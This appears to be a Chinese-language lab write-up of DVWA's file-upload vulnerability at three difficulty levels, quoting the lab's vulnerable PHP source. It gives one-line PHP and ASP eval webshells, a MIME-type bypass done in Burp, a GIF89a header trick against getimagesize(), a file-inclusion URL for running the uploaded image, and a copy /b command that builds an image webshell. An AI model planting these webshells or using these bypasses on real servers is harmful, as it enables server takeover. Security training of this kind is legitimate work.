♥文件上傳漏洞的簡介
文件上傳漏洞也就是通web網頁的文件上傳功能去上傳一些惡意的文件,比如包含病毒、木馬文件、釣魚圖片或者是包含腳本的圖片,webshell等。
這個功能本身沒有問題,是對上傳文件的過濾不夠安全,被攻擊者加以利用。
♥文件上傳漏洞的危害
上傳漏洞與SQL注入或 XSS相比 , 其風險更大 , 如果 Web應用程序存在上傳漏洞 , 攻擊者上傳的文件是Web腳本語言,服務器的Web容器解釋並執行了用戶上傳的腳本,導致代碼執行。如果上傳的文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在該域下的行為。通過這個漏洞常常用來上傳webshell,進行系統提權。
♥Low
我們先看一下源碼
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } ?>
沒有對上傳文件作任何過濾,我們可以直接上傳木馬。
php的常用一句話木馬 <?php @eval($_POST['pass']);?>
asp的常用一句話木馬<%eval request("pass")%>
我們寫好一句話木馬,然后直接上傳
我們訪問一下上傳文件的路徑,這里我一直訪問失敗這個路徑
http://192.168.204.129/dvwa/hackable/uploads/yma.php
搞了半天,后面發現是以為我上傳文件命名的時候前面多打了個空格,注意看上傳成功給出的路徑有空格,被搞了。
上傳成功,這里就可以用菜刀連上了。
♥Medium
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
這里對我們上傳文件類型做了過濾,只可以是jpg、png的,這樣我們直接上傳php后綴的文件就不行了。
我們用burp抓包來看看,上傳一個正常jpg圖片,可以看到提交文件類型Type是jpg
然后我們forward放包看看,ok上傳成功
再來上傳我們的木馬,抓包,可以看到Type,我們改成jpg的
可以看到,上傳成功。
♥High
先來看一下源碼
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
這里面多了很多函數,先看一下這些函數
strtolower()函數,把里面的字符串轉換成小寫
strrpos()函數查找 "php" 在字符串中最后一次出現的位置:
<?php
echo strrpos("You love php, I love php too!","php");
?>
substr(string,start,length)
string必需。規定要返回其中一部分的字符串。
start必需。規定在字符串的何處開始。
正數 - 在字符串的指定位置開始
負數 - 在從字符串結尾的指定位置開始
0 - 在字符串中的第一個字符處開始
length可選。規定要返回的字符串長度。默認是直到字符串的結尾。
正數 - 從 start 參數所在的位置返回
負數 - 從字符串末端返回
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
也就是說這句代碼的意思就是,先用strrpos把“.”+1位置也就是文件名后綴部分返回回來,然后再用substr截取到后綴。
PHP編程語言中的常見的$_FILES系統函數用法有: $_FILES['myFile']['name'] 顯示客戶端文件的原名稱。 $_FILES['myFile']['type'] 文件的 MIME 類型,例如"image/gif"。 $_FILES['myFile']['size'] 已上傳文件的大小,單位為字節。 $_FILES['myFile']['tmp_name'] 儲存的臨時文件名,一般是系統默認。 $_FILES['myFile']['error'] 該文件上傳相關的錯誤代碼。以下為不同代碼代表的意思:
HP 獲取圖像信息 getimagesize 函數 getimagesize() 函數用於獲取圖像尺寸,類型等信息。 imagesx() 函數用於獲取圖像的寬度。 imagesy() 函數用於獲取圖像的高度。 getimagesize() getimagesize() 函數用於獲取圖像大小及相關信息,成功返回一個數組,失敗則返回 FALSE 並產生一條 E_WARNING 級的錯誤信息。 語法: array getimagesize( string filename ) 例子: <?php $array = getimagesize("images/flower_1.jpg"); print_r($array); ?> 瀏覽器顯示如下: Array ( [0] => 350 [1] => 318 [2] => 2 [3] => width="350" height="318" [bits] => 8 [channels] => 3 [mime] => image/jpeg )
經過了上面的分析,下面這代碼的意思就是先把文件后綴轉化成小寫然后判斷文件是不是jpg、jpeg或者png並且用getimagesize()來獲取我們上傳文件的圖像信息,如果我們需要成功上傳就要文件類型是前兩種,並且getimagesize()函數不能返回錯誤
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) )
那么就是對getmagesize()函數的繞過,我們在偽造頭部GIF89a,來繞過
改為jpg后綴,上傳成功!
但是呢,這里是jpg的文件,菜刀不能直接使用,怎么辦呢?
這里就要配合文件包含漏洞的使用了,這里high級別的文件包含是用file:///白名單訪問的,我們知道文件的絕對路徑,
就可以構造payload了:
http://192.168.204.129/dvwa/vulnerabilities/fi/?page=file:///C:\phpstudy\WWW\dvwa\hackable\uploads\yma.jpg
我們用菜刀連接試試呢,發現失敗了
可以訪問到這個文件,但是菜刀連不上。
如果用cmd 來構造的圖片木馬呢 copy 1.jpg/b+yma.php/a yma1.jpg
然后再用菜刀連接,但是我這里連接出問題了,搞了好久 不知道是什么原因 !!!!!有點難受~~~ T_T